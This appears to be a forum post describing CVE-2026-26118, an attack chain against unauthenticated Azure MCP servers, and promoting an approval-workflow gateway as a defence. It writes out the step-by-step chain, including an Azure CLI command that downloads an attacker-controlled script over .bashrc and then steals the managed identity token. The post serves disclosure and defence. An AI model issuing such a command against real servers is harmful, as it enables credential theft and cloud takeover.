MCPwned (CVE-2026-26118): the Azure MCP attack chain, and where an approval workflow would have stopped it

[VladUZH]

Token Security presented "MCPwned" at RSAC this week. CVSS 8.8. The short version: an attacker could compromise an entire Azure tenant through a vulnerable MCP server. Microsoft has patched it, but the attack chain is instructive for anyone running MCP servers in production.

The attack chain:

1. Attacker finds an Azure MCP server running azmcp-extension-az — a tool that executes Azure CLI commands on the server.
2. Server accepts unauthenticated requests. No auth check on the SSE endpoint.
3. Attacker sends three HTTP requests: initialize session via GET /sse, load the tools list via tools/list, then call the blob download tool via tools/call.
4. The crafted tools/call payload runs: az storage blob download --blob-url [attacker-controlled-url] --file ~/.bashrc --overwrite
5. Attacker's malicious script overwrites the server's .bashrc. Next shell invocation runs it.
6. Script exfiltrates the Azure managed identity token from environment variables.
7. Attacker now has the server's managed identity credentials. Whatever that identity can access in Azure — storage accounts, databases, other services — the attacker can access.

The whole thing works because the MCP server blindly executes LLM-generated arguments with no validation, no authentication on the endpoint, and no authorization check on what operations the tool is allowed to perform.

Where governance would have intercepted this:

The attack requires tools/call to succeed with attacker-controlled arguments. An approval workflow sitting between the agent (or in this case, the attacker's direct HTTP request) and the actual tool execution would have:

• Policy evaluation: A policy like "blob downloads from external URLs require approval" or "file writes to system paths are blocked" would have caught this before execution. The --file ~/.bashrc argument alone should trigger a deny.
• Approval hold: Even without a specific policy, a general "flag any az command that modifies system files" rule would have held the action for human review. The reviewer sees: tool = azmcp-extension-az, arguments = blob download from [suspicious external URL] overwriting .bashrc. That's an obvious deny.
• Authentication at the governance layer: SidClaw requires agent identity on every request. An unauthenticated tools/call wouldn't have a valid agent ID and would be rejected before reaching policy evaluation.

The deeper issue here isn't just this one CVE. It's that MCP's tool execution model has no built-in checkpoint between "the agent decides to call a tool" and "the tool executes." The MCP spec defines tool discovery (tools/list) and tool invocation (tools/call), but governance — who can call what, under what conditions, with what approval — isn't part of the protocol.

That's the gap GovernanceMCPServer is designed to fill. It wraps any MCP server and evaluates every tools/call against a policy set before forwarding to the underlying server. Works with both stdio and Streamable HTTP transports.

This is the second major MCP vulnerability we've tracked this quarter. HackerNoon documented 30 CVEs in 60 days back in February, with 38% of MCP servers having no authentication at all. CVE-2026-26118 is what happens when that gap meets a high-value target like Azure.

Token Security's writeup: https://www.token.security/blog/mcpwned-azure-mcp-rce-vulnerability-leads-to-cloud-takeover
CVE details: https://cve.threatint.eu/CVE/CVE-2026-26118